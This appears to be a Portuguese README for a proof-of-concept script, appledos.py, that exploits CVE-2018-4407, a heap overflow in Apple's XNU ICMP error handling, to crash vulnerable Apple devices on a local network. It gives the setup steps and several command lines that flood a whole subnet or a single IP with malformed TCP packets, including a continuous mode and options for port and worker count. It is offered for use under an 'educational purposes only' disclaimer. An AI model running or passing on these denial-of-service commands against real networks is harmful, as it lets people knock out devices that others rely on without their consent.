
Mexendo com dispositivos Apple na rede com CVE-2018-4407 (estouro de heap no tratamento de pacotes malformados)
Baseado em CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), este tweet e este vídeo. O bug é uma vulnerabilidade de estouro de heap no tratamento de pacotes inválidos quando o SO tenta enviar uma mensagem ICMP contendo segmentos do pacote inválido de volta ao remetente.

Este POC irá travar os dispositivos Apple vulneráveis enviando dados de pacote TCP inválidos contendo opções de cabeçalho TCP/IP longas para estourar a mensagem ICMP quando o dispositivo tentar enviar a mensagem de erro. Você precisa da capacidade de enviar dados de pacote de rede diretamente ao dispositivo (por exemplo, na mesma rede local).
As seguintes versões de sistema operacional e dispositivos são vulneráveis:
APENAS PARA FINS EDUCACIONAIS. NÃO USE ESTE SCRIPT PARA ATIVIDADES ILEGAIS. O AUTOR NÃO SE RESPONSABILIZA POR QUALQUER USO INDEVIDO OU DANO.
Certifique-se de ter Python 3 e scapy.
pip install scapy
# or
pip3 install scapy
Pode ser necessário executar o script como root.
Enviar pacote inválido para a sub-rede 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
Mostra o IP após o envio do pacote.
sudo ./appledos.py --verbose 192.168.1.0/24
Enviar pacote inválido continuamente para a sub-rede 192.168.1.0/24.
sudo ./appledos.py --continuous 192.168.1.0/24
Alterar porta de destino (padrão: 80). Você pode alterar para qualquer porta, pois os dispositivos responderão a qualquer pacote recebido em qualquer porta, mas pode ser necessário considerar o bloqueio de portas ou firewall no host ou na rede.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
Enviar pacote inválido para apenas um IP.
sudo ./appledos.py 192.168.1.118
Definir número máximo de workers (padrão: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
Este script utiliza scapy e tem um problema conhecido ao lidar com /dev/bpf (Berkeley Packet Filter) ao enviar dados de pacote de sistemas operacionais como macOS com multi-thread. Se você encontrar No /dev/bpf handle is available, tente reduzir o número de workers para 1 ou 2. Ou você pode simplesmente usar Linux como no vídeo de demonstração.